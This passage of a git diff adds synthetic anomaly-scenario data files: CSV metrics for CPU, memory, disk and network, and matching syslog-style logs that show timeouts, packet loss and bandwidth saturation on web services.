200 OK +Jul 15 14:32:35 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:32:40 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:32:45 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:32:50 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:32:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c4d9b4f-xyz12 +Jul 15 14:33:00 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:33:05 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:33:10 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:33:15 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:33:20 systemd[1]: Started Session 50 of user service-account. +Jul 15 14:33:25 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:33:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c4d9b4f-xyz12 +Jul 15 14:33:35 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:33:40 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:33:45 web-app[1123]: INFO GET /api/v1/user/profile HTTP/1.1 200 OK +Jul 15 14:33:50 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:33:55 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:34:00 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:34:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c4d9b4f-xyz12 +Jul 15 14:34:10 systemd[1]: Started Session 60 of user service-account. +Jul 15 14:34:15 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:34:20 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:34:25 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:34:30 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:34:35 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:34:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7b8c4d9b4f-xyz12 +Jul 15 14:34:45 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:34:50 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:34:55 web-app[1123]: INFO POST /api/v1/data/upload HTTP/1.1 202 ACCEPTED +Jul 15 14:35:00 web-app[1123]: WARN Connection timeout on upstream service 'user-database'. Request latency was 2593ms. +Jul 15 14:35:05 web-app[1123]: ERROR Failed to process request: upstream request timed out after 4609ms. +Jul 15 14:35:10 haproxy[4321]: WARN Dropping packets due to egress bandwidth limit reached for backend 'web-app-backend'. +Jul 15 14:35:15 web-app[1123]: WARN Connection timeout on upstream service 'user-database'. Request latency was 4972ms. +Jul 15 14:35:20 web-app[1123]: ERROR Failed to process request: upstream request timed out after 5252ms. +Jul 15 14:35:25 haproxy[4321]: WARN Dropping packets due to egress bandwidth limit reached for backend 'web-app-backend'. +Jul 15 14:35:30 web-app[1123]: WARN Connection timeout on upstream service 'user-database'. Request latency was 4800ms. +Jul 15 14:35:35 web-app[1123]: ERROR Failed to process request: upstream request timed out after 5107ms. +Jul 15 14:35:40 haproxy[4321]: WARN Dropping packets due to egress bandwidth limit reached for backend 'web-app-backend'. +Jul 15 14:35:45 web-app[1123]: WARN Connection timeout on upstream service 'user-database'. Request latency was 4781ms. +Jul 15 14:35:50 web-app[1123]: ERROR Failed to process request: upstream request timed out after 5132ms. +Jul 15 14:35:55 haproxy[4321]: WARN Dropping packets due to egress bandwidth limit reached for backend 'web-app-backend'. +Jul 15 14:36:00 web-app[1123]: WARN Connection timeout on upstream service 'user-database'. Request latency was 3179ms. +Jul 15 14:36:05 web-app[1123]: ERROR Failed to process request: upstream request timed out after 5185ms. +Jul 15 14:36:10 haproxy[4321]: WARN Dropping packets due to egress bandwidth limit reached for backend 'web-app-backend'. +Jul 15 14:36:15 web-app[1123]: WARN Connection timeout on upstream service 'user-database'. Request latency was 4165ms. +Jul 15 14:36:20 web-app[1123]: ERROR Failed to process request: upstream request timed out after 5194ms. +Jul 15 14:36:25 haproxy[4321]: WARN Dropping packets due to egress bandwidth limit reached for backend 'web-app-backend'. +Jul 15 14:36:30 web-app[1123]: WARN Connection timeout on upstream service 'user-database'. Request latency was 4650ms. +Jul 15 14:36:35 web-app[1123]: ERROR Failed to process request: upstream request timed out after 5959ms. +Jul 15 14:36:40 haproxy[4321]: WARN Dropping packets due to egress bandwidth limit reached for backend 'web-app-backend'. +Jul 15 14:36:45 web-app[1123]: WARN Connection timeout on upstream service 'user-database'. Request latency was 2444ms. +Jul 15 14:36:50 web-app[1123]: ERROR Failed to process request: upstream request timed out after 5887ms. +Jul 15 14:36:55 haproxy[4321]: WARN Dropping packets due to egress bandwidth limit reached for backend 'web-app-backend'. +Jul 15 14:37:00 web-app[1123]: WARN Connection timeout on upstream service 'user-database'. Request latency was 3611ms. +Jul 15 14:37:05 web-app[1123]: ERROR Failed to process request: upstream request timed out after 5479ms. +Jul 15 14:37:10 haproxy[4321]: WARN Dropping packets due to egress bandwidth limit reached for backend 'web-app-backend'. +Jul 15 14:37:15 web-app[1123]: WARN Connection timeout on upstream service 'user-database'. Request latency was 3693ms. +Jul 15 14:37:20 web-app[1123]: ERROR Failed to process request: upstream request timed out after 5260ms. +Jul 15 14:37:25 haproxy[4321]: WARN Dropping packets due to egress bandwidth limit reached for backend 'web-app-backend'. diff --git a/anom_dataset/scenario_8/anom_8_18.csv b/anom_dataset/scenario_8/anom_8_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..82cbd6596893dd2cf7ef9b4538a2c7ec14ea296b --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,18.41,42.05,27.88,1.87,10.0 +2025-08-22T10:00:05Z,13.89,35.87,20.15,1.97,11.49 +2025-08-22T10:00:10Z,17.29,36.08,21.1,1.29,12.98 +2025-08-22T10:00:15Z,14.59,41.88,28.84,3.38,14.47 +2025-08-22T10:00:20Z,16.46,40.86,23.88,1.68,15.97 +2025-08-22T10:00:25Z,18.56,38.83,26.25,2.8,17.46 +2025-08-22T10:00:30Z,19.43,41.52,23.61,4.33,18.95 +2025-08-22T10:00:35Z,13.97,35.66,21.42,3.76,20.44 +2025-08-22T10:00:40Z,19.35,38.88,23.71,1.88,21.93 +2025-08-22T10:00:45Z,15.12,35.84,21.5,2.55,23.42 +2025-08-22T10:00:50Z,18.06,43.91,23.58,3.57,24.92 +2025-08-22T10:00:55Z,19.98,42.26,24.9,3.18,26.41 +2025-08-22T10:01:00Z,12.88,43.73,27.48,1.52,27.9 +2025-08-22T10:01:05Z,17.59,39.47,26.19,3.88,29.39 +2025-08-22T10:01:10Z,13.1,41.83,23.33,2.17,30.88 +2025-08-22T10:01:15Z,13.58,42.06,27.99,2.0,32.37 +2025-08-22T10:01:20Z,10.14,37.58,26.2,1.55,33.86 +2025-08-22T10:01:25Z,15.47,42.64,26.17,3.91,35.36 +2025-08-22T10:01:30Z,15.27,38.38,27.88,2.37,36.85 +2025-08-22T10:01:35Z,17.09,41.29,26.93,1.36,38.34 +2025-08-22T10:01:40Z,15.24,36.27,24.36,4.07,39.83 +2025-08-22T10:01:45Z,11.5,42.76,26.9,2.81,41.32 +2025-08-22T10:01:50Z,18.38,43.75,24.06,4.72,42.81 +2025-08-22T10:01:55Z,10.88,41.24,29.18,4.35,44.31 +2025-08-22T10:02:00Z,13.65,37.88,20.84,3.16,45.8 +2025-08-22T10:02:05Z,19.36,36.85,29.7,1.52,47.29 +2025-08-22T10:02:10Z,18.13,41.86,23.28,4.89,48.78 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+2025-08-22T10:07:00Z,82.38,40.59,21.02,2.27,98.36 +2025-08-22T10:07:05Z,16.61,41.41,23.64,2.15,98.16 +2025-08-22T10:07:10Z,19.03,39.88,22.01,2.97,98.98 +2025-08-22T10:07:15Z,15.25,37.55,21.61,2.26,99.25 +2025-08-22T10:07:20Z,13.82,36.75,21.55,2.94,98.12 +2025-08-22T10:07:25Z,13.56,41.62,28.41,3.27,98.77 diff --git a/anom_dataset/scenario_8/anom_8_18.log b/anom_dataset/scenario_8/anom_8_18.log new file mode 100644 index 0000000000000000000000000000000000000000..628455a26ba094ec2d5891e09cdcecce1990714b --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_18.log @@ -0,0 +1,40 @@ +Aug 22 10:00:00 systemd[1]: Started Session 0 of user ubuntu. +Aug 22 10:00:00 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 10:00:50 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 10:01:15 systemd[1]: Started Session 15 of user ubuntu. +Aug 22 10:01:40 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 10:02:30 systemd[1]: Started Session 30 of user ubuntu. +Aug 22 10:02:30 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 10:03:20 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 10:03:45 systemd[1]: Started Session 45 of user ubuntu. +Aug 22 10:04:10 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 10:04:20 web-server[1123]: WARNING upstream request is taking longer than 3s, url: /api/v1/data +Aug 22 10:04:25 web-server[1123]: WARNING upstream request is taking longer than 3s, url: /api/v1/data +Aug 22 10:04:40 web-server[1123]: WARNING upstream request is taking longer than 3s, url: /api/v1/data +Aug 22 10:04:50 web-server[1123]: WARNING upstream request is taking longer than 3s, url: /api/v1/data +Aug 22 10:05:00 systemd[1]: Started Session 60 of user ubuntu. +Aug 22 10:05:00 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 10:05:00 web-server[1123]: ERROR connection timed out while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:05:05 web-server[1123]: ERROR connection timed out while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:05:10 web-server[1123]: ERROR connection timed out while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:05:15 web-server[1123]: ERROR packet loss detected while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:05:20 web-server[1123]: ERROR upstream request timeout while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:05:35 web-server[1123]: ERROR upstream request timeout while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:05:45 web-server[1123]: ERROR upstream request timeout while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:05:50 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 10:05:55 web-server[1123]: ERROR packet loss detected while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:06:00 web-server[1123]: ERROR upstream request timeout while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:06:15 systemd[1]: Started Session 75 of user ubuntu. +Aug 22 10:06:15 web-server[1123]: ERROR packet loss detected while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:06:20 web-server[1123]: ERROR upstream request timeout while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:06:30 web-server[1123]: ERROR upstream request timeout while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:06:35 web-server[1123]: ERROR connection timed out while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:06:40 web-server[1123]: GET /api/v1/health HTTP/1.1 200 OK +Aug 22 10:06:40 web-server[1123]: ERROR connection timed out while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:06:45 web-server[1123]: ERROR connection timed out while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:06:50 web-server[1123]: ERROR connection timed out while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:06:55 web-server[1123]: ERROR packet loss detected while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:07:05 web-server[1123]: ERROR upstream request timeout while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:07:10 web-server[1123]: ERROR upstream request timeout while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:07:15 web-server[1123]: ERROR upstream request timeout while connecting to upstream, client: 10.1.2.3, server: backend-service +Aug 22 10:07:25 web-server[1123]: ERROR connection timed out while connecting to upstream, client: 10.1.2.3, server: backend-service diff --git a/anom_dataset/scenario_8/anom_8_19.csv b/anom_dataset/scenario_8/anom_8_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..5c78583e2dbbe0644bacc85a6bb5c321f2e24133 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,23.65,42.33,25.65,1.35,12.38 +2025-08-15T10:00:05Z,17.86,43.53,25.89,0.62,19.48 +2025-08-15T10:00:10Z,15.13,41.32,26.78,0.92,13.03 +2025-08-15T10:00:15Z,22.33,45.54,20.73,1.15,19.95 +2025-08-15T10:00:20Z,16.79,44.7,27.47,0.81,16.93 +2025-08-15T10:00:25Z,18.62,45.92,22.93,1.0,14.63 +2025-08-15T10:00:30Z,19.53,44.17,25.65,0.53,12.32 +2025-08-15T10:00:35Z,24.46,41.88,20.16,1.43,14.99 +2025-08-15T10:00:40Z,22.98,45.85,23.42,1.12,19.69 +2025-08-15T10:00:45Z,24.08,45.99,25.12,1.24,12.09 +2025-08-15T10:00:50Z,21.09,45.38,21.45,1.13,13.72 +2025-08-15T10:00:55Z,24.33,43.41,27.3,0.94,17.23 +2025-08-15T10:01:00Z,19.13,42.8,26.41,0.65,15.23 +2025-08-15T10:01:05Z,19.41,42.05,24.86,0.67,15.84 +2025-08-15T10:01:10Z,17.55,42.66,25.94,1.41,19.99 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0000000000000000000000000000000000000000..296f42c79ee9cf9b1eb3f327bc450896df19a5ee --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_19.log @@ -0,0 +1,54 @@ +Aug 15 10:00:00 systemd[1]: Started Session 0 of user ubuntu. +Aug 15 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:00:00 api-gateway[4512]: INFO 192.168.1.85 - "GET /v1/user/profile" 200 +Aug 15 10:00:25 api-gateway[4512]: INFO 192.168.1.52 - "GET /v1/user/profile" 204 +Aug 15 10:00:50 api-gateway[4512]: INFO 192.168.1.198 - "GET /v1/user/profile" 201 +Aug 15 10:01:05 systemd[1]: Started Session 13 of user ubuntu. +Aug 15 10:01:15 api-gateway[4512]: INFO 192.168.1.160 - "GET /v1/user/profile" 201 +Aug 15 10:01:25 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:01:40 api-gateway[4512]: INFO 192.168.1.92 - "GET /v1/user/profile" 200 +Aug 15 10:02:05 api-gateway[4512]: INFO 192.168.1.123 - "GET /v1/user/profile" 201 +Aug 15 10:02:10 systemd[1]: Started Session 26 of user ubuntu. +Aug 15 10:02:30 api-gateway[4512]: INFO 192.168.1.185 - "GET /v1/user/profile" 204 +Aug 15 10:02:50 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:02:55 api-gateway[4512]: INFO 192.168.1.29 - "GET /v1/user/profile" 204 +Aug 15 10:03:15 systemd[1]: Started Session 39 of user ubuntu. +Aug 15 10:03:20 api-gateway[4512]: INFO 192.168.1.121 - "GET /v1/user/profile" 201 +Aug 15 10:03:45 api-gateway[4512]: ERROR Connection to payment-service timed out after 6974ms +Aug 15 10:04:00 api-gateway[4512]: ERROR Connection to database-connector timed out after 8642ms +Aug 15 10:04:00 kernel: net_ratelimit: TCP: drop open request from 112.80.248.65:443 +Aug 15 10:04:05 upstream-proxy[8871]: WARN High latency detected for outbound traffic, average response time is 3516ms +Aug 15 10:04:15 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:04:15 api-gateway[4512]: ERROR Connection to payment-service timed out after 7410ms +Aug 15 10:04:20 systemd[1]: Started Session 52 of user ubuntu. +Aug 15 10:04:20 kernel: net_ratelimit: TCP: drop open request from 112.80.248.65:443 +Aug 15 10:04:30 api-gateway[4512]: ERROR Connection to payment-service timed out after 6444ms +Aug 15 10:04:40 kernel: net_ratelimit: TCP: drop open request from 112.80.248.65:443 +Aug 15 10:04:40 upstream-proxy[8871]: WARN High latency detected for outbound traffic, average response time is 3107ms +Aug 15 10:04:45 api-gateway[4512]: ERROR Connection to database-connector timed out after 6231ms +Aug 15 10:05:00 api-gateway[4512]: ERROR Connection to inventory-api timed out after 9751ms +Aug 15 10:05:00 kernel: net_ratelimit: TCP: drop open request from 112.80.248.65:443 +Aug 15 10:05:15 api-gateway[4512]: ERROR Connection to payment-service timed out after 5012ms +Aug 15 10:05:15 upstream-proxy[8871]: WARN High latency detected for outbound traffic, average response time is 5290ms +Aug 15 10:05:20 kernel: net_ratelimit: TCP: drop open request from 112.80.248.65:443 +Aug 15 10:05:25 systemd[1]: Started Session 65 of user ubuntu. +Aug 15 10:05:30 api-gateway[4512]: ERROR Connection to payment-service timed out after 7544ms +Aug 15 10:05:40 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:05:40 kernel: net_ratelimit: TCP: drop open request from 112.80.248.65:443 +Aug 15 10:05:45 api-gateway[4512]: ERROR Connection to database-connector timed out after 5669ms +Aug 15 10:05:50 upstream-proxy[8871]: WARN High latency detected for outbound traffic, average response time is 3085ms +Aug 15 10:06:00 api-gateway[4512]: ERROR Connection to payment-service timed out after 5500ms +Aug 15 10:06:00 kernel: net_ratelimit: TCP: drop open request from 112.80.248.65:443 +Aug 15 10:06:15 api-gateway[4512]: ERROR Connection to inventory-api timed out after 9463ms +Aug 15 10:06:20 kernel: net_ratelimit: TCP: drop open request from 112.80.248.65:443 +Aug 15 10:06:25 upstream-proxy[8871]: WARN High latency detected for outbound traffic, average response time is 4123ms +Aug 15 10:06:30 systemd[1]: Started Session 78 of user ubuntu. +Aug 15 10:06:30 api-gateway[4512]: ERROR Connection to payment-service timed out after 7275ms +Aug 15 10:06:40 kernel: net_ratelimit: TCP: drop open request from 112.80.248.65:443 +Aug 15 10:06:45 api-gateway[4512]: ERROR Connection to inventory-api timed out after 6498ms +Aug 15 10:07:00 api-gateway[4512]: ERROR Connection to payment-service timed out after 9705ms +Aug 15 10:07:00 kernel: net_ratelimit: TCP: drop open request from 112.80.248.65:443 +Aug 15 10:07:00 upstream-proxy[8871]: WARN High latency detected for outbound traffic, average response time is 3656ms +Aug 15 10:07:05 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 15 10:07:15 api-gateway[4512]: ERROR Connection to database-connector timed out after 5931ms +Aug 15 10:07:20 kernel: net_ratelimit: TCP: drop open request from 112.80.248.65:443 diff --git a/anom_dataset/scenario_8/anom_8_2.csv b/anom_dataset/scenario_8/anom_8_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..66fe7724263b803b645196fa5c4bf81ee4b7706f --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-16T00:00:00Z,14.96,41.47,25.11,1.02,1.09 +2025-07-16T00:00:05Z,17.82,40.49,23.8,1.35,0.5 +2025-07-16T00:00:10Z,15.18,41.26,27.59,0.89,0.99 +2025-07-16T00:00:15Z,15.98,39.17,29.1,1.06,1.1 +2025-07-16T00:00:20Z,17.35,40.19,32.83,1.2,0.92 +2025-07-16T00:00:25Z,13.25,38.11,26.98,1.35,1.3 +2025-07-16T00:00:30Z,14.5,38.82,25.42,0.97,0.82 +2025-07-16T00:00:35Z,17.1,40.24,24.3,1.16,0.89 +2025-07-16T00:00:40Z,14.18,42.36,27.12,0.97,1.57 +2025-07-16T00:00:45Z,15.12,41.07,24.62,1.39,1.4 +2025-07-16T00:00:50Z,15.96,40.86,23.56,0.8,1.0 +2025-07-16T00:00:55Z,15.04,41.79,23.89,0.76,0.89 +2025-07-16T00:01:00Z,15.28,40.64,25.34,1.15,1.18 +2025-07-16T00:01:05Z,16.99,38.58,26.04,0.69,1.28 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b/anom_dataset/scenario_8/anom_8_2.log new file mode 100644 index 0000000000000000000000000000000000000000..91f3ccab98171141aa21f333125f2b24133c7e00 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_2.log @@ -0,0 +1,57 @@ +Jul 16 00:00:00 cron[4000]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 00:00:05 web-app[1265]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 16 00:00:10 systemd[1]: Started Session 302 of user ubuntu. +Jul 16 00:01:00 systemd[1]: Started Session 312 of user ubuntu. +Jul 16 00:01:05 web-app[1265]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 16 00:01:15 cron[4015]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 00:01:50 systemd[1]: Started Session 322 of user ubuntu. +Jul 16 00:02:05 web-app[1265]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 16 00:02:30 cron[4030]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 00:02:40 systemd[1]: Started Session 332 of user ubuntu. +Jul 16 00:03:05 web-app[1265]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 16 00:03:30 systemd[1]: Started Session 342 of user ubuntu. +Jul 16 00:03:45 cron[4045]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 00:04:05 web-app[1265]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 16 00:04:20 systemd[1]: Started Session 352 of user ubuntu. +Jul 16 00:04:40 web-app[1265]: ERROR Connection to downstream service timed out after 10000ms +Jul 16 00:04:45 web-app[1265]: WARN High latency detected: response time 3299ms for /api/v1/data +Jul 16 00:04:50 haproxy[823]: Timeout during data transfer for client 10.2.2.3, session state L7OK +Jul 16 00:04:55 web-app[1265]: ERROR Failed to send data chunk to client: socket write error +Jul 16 00:05:00 cron[4060]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 00:05:00 web-app[1265]: ERROR Connection to downstream service timed out after 10000ms +Jul 16 00:05:05 web-app[1265]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 16 00:05:05 web-app[1265]: WARN High latency detected: response time 4085ms for /api/v1/data +Jul 16 00:05:10 systemd[1]: Started Session 362 of user ubuntu. +Jul 16 00:05:10 haproxy[823]: Timeout during data transfer for client 10.2.2.3, session state L7OK +Jul 16 00:05:15 web-app[1265]: ERROR Failed to send data chunk to client: socket write error +Jul 16 00:05:20 web-app[1265]: ERROR Connection to downstream service timed out after 10000ms +Jul 16 00:05:25 web-app[1265]: WARN High latency detected: response time 3756ms for /api/v1/data +Jul 16 00:05:30 haproxy[823]: Timeout during data transfer for client 10.2.2.3, session state L7OK +Jul 16 00:05:35 web-app[1265]: ERROR Failed to send data chunk to client: socket write error +Jul 16 00:05:40 web-app[1265]: ERROR Connection to downstream service timed out after 10000ms +Jul 16 00:05:45 web-app[1265]: WARN High latency detected: response time 3078ms for /api/v1/data +Jul 16 00:05:50 haproxy[823]: Timeout during data transfer for client 10.2.2.3, session state L7OK +Jul 16 00:05:55 web-app[1265]: ERROR Failed to send data chunk to client: socket write error +Jul 16 00:06:00 systemd[1]: Started Session 372 of user ubuntu. +Jul 16 00:06:00 web-app[1265]: ERROR Connection to downstream service timed out after 10000ms +Jul 16 00:06:05 web-app[1265]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 16 00:06:05 web-app[1265]: WARN High latency detected: response time 3242ms for /api/v1/data +Jul 16 00:06:10 haproxy[823]: Timeout during data transfer for client 10.2.2.3, session state L7OK +Jul 16 00:06:15 cron[4075]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 16 00:06:15 web-app[1265]: ERROR Failed to send data chunk to client: socket write error +Jul 16 00:06:20 web-app[1265]: ERROR Connection to downstream service timed out after 10000ms +Jul 16 00:06:25 web-app[1265]: WARN High latency detected: response time 3318ms for /api/v1/data +Jul 16 00:06:30 haproxy[823]: Timeout during data transfer for client 10.2.2.3, session state L7OK +Jul 16 00:06:35 web-app[1265]: ERROR Failed to send data chunk to client: socket write error +Jul 16 00:06:40 web-app[1265]: ERROR Connection to downstream service timed out after 10000ms +Jul 16 00:06:45 web-app[1265]: WARN High latency detected: response time 3858ms for /api/v1/data +Jul 16 00:06:50 systemd[1]: Started Session 382 of user ubuntu. +Jul 16 00:06:50 haproxy[823]: Timeout during data transfer for client 10.2.2.3, session state L7OK +Jul 16 00:06:55 web-app[1265]: ERROR Failed to send data chunk to client: socket write error +Jul 16 00:07:00 web-app[1265]: ERROR Connection to downstream service timed out after 10000ms +Jul 16 00:07:05 web-app[1265]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 16 00:07:05 web-app[1265]: WARN High latency detected: response time 3081ms for /api/v1/data +Jul 16 00:07:10 haproxy[823]: Timeout during data transfer for client 10.2.2.3, session state L7OK +Jul 16 00:07:15 web-app[1265]: ERROR Failed to send data chunk to client: socket write error +Jul 16 00:07:20 web-app[1265]: ERROR Connection to downstream service timed out after 10000ms +Jul 16 00:07:25 web-app[1265]: WARN High latency detected: response time 2226ms for /api/v1/data diff --git a/anom_dataset/scenario_8/anom_8_20.csv b/anom_dataset/scenario_8/anom_8_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..d5e0ea75c3a807241bc095c40d323d15f1c97d51 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,22.722953306216628,41.04147818415211,26.901732993250242,1.071896691532592,54.055807486373155 +2025-07-02T10:00:05Z,19.999377737009148,37.86403278629308,20.061789566083892,1.22598506840813,48.736706235104826 +2025-07-02T10:00:10Z,19.425831867112727,38.64128878095899,24.71792112784658,0.9625098235604999,58.918059144498564 +2025-07-02T10:00:15Z,16.846979093393873,41.99451269023549,24.64302880377799,0.9343890371531838,60.55692012168565 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+2025-07-02T10:05:40Z,94.52556108772217,44.55401678204869,20.59469862644802,1.0595723521946558,195.16971768460218 +2025-07-02T10:05:45Z,89.82873951412526,44.6119023590641,26.506978732945722,1.0728194787879413,199.0523832413625 +2025-07-02T10:05:50Z,88.6415815491648,39.928051079270574,22.15807418655927,0.8324934316237333,199.88149324148853 +2025-07-02T10:05:55Z,90.74296896203849,35.39040377152053,20.746720949078558,1.0153482633391813,198.8361409221174 +2025-07-02T10:06:00Z,95.9508267545924,36.77761756803117,28.309602920848697,0.9034976231160998,196.3826174755794 +2025-07-02T10:06:05Z,87.37818374234833,38.02361241889101,21.970051507278512,1.2335369987953624,198.6445413603348 +2025-07-02T10:06:10Z,89.24181354841109,43.51030669454499,26.324544277187446,0.6922201120374529,198.39923660902755 +2025-07-02T10:06:15Z,88.90046418461039,37.72540110749306,29.539044349204815,1.119143989543252,197.6152576502079 +2025-07-02T10:06:20Z,97.01691372558504,40.87466748858983,26.23896257276443,1.0521176502294853,198.6185416789477 +2025-07-02T10:06:25Z,94.80433047270708,42.35688434784335,21.202190447738026,1.2318838544090447,199.60481305287774 +2025-07-02T10:06:30Z,97.49955914866264,43.12505465785976,24.88513544796957,0.9789117261304681,199.12882418860275 +2025-07-02T10:06:35Z,88.55873494864318,39.224995189322236,25.77240363049018,0.6449390416529653,195.02066789164363 +2025-07-02T10:06:40Z,94.36062675400919,42.50996399993222,27.98387090820983,0.9880556427265486,197.0371447307913 +2025-07-02T10:06:45Z,96.587364629984,40.03175090778323,29.61497162906432,0.9421927503264864,199.8427038439446 +2025-07-02T10:06:50Z,95.19579751590959,36.42398002016585,28.373991778418745,1.2433981432618255,195.98074667142757 +2025-07-02T10:06:55Z,87.2302758268322,43.85245093195678,28.512261984654216,0.6138769757796866,196.1686164263799 +2025-07-02T10:07:00Z,89.61284949473003,42.17876594787526,20.248322736036073,0.8015061907092078,197.30191654969985 +2025-07-02T10:07:05Z,85.54696287852705,35.128266033291986,23.605812611118782,1.0668691171562554,198.50226780751942 +2025-07-02T10:07:10Z,95.28269713787537,38.279914903322876,26.5039848947357,1.4429094523195425,195.08287636593093 +2025-07-02T10:07:15Z,85.86303172875664,41.83497353524161,28.069554153723814,1.3323861634391685,197.7072504257844 +2025-07-02T10:07:20Z,92.67337120546415,35.53862542516674,25.375209573209872,1.0594609420343186,198.9688533576378 +2025-07-02T10:07:25Z,86.59861173767545,35.887827335100134,20.668485519102376,1.0457141676993986,196.8312043534017 diff --git a/anom_dataset/scenario_8/anom_8_20.log b/anom_dataset/scenario_8/anom_8_20.log new file mode 100644 index 0000000000000000000000000000000000000000..d98e194cb65e133bb4ca2395a0e05d29ad3cfe75 --- /dev/null +++ b/anom_dataset/scenario_8/anom_8_20.log @@ -0,0 +1,36 @@ +Jul 02 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app-b7f9d4c7b-fgj2k +Jul 02 10:00:02 systemd[1]: Started Session 1 of user admin. +Jul 02 10:00:05 sshd[10234]: Accepted 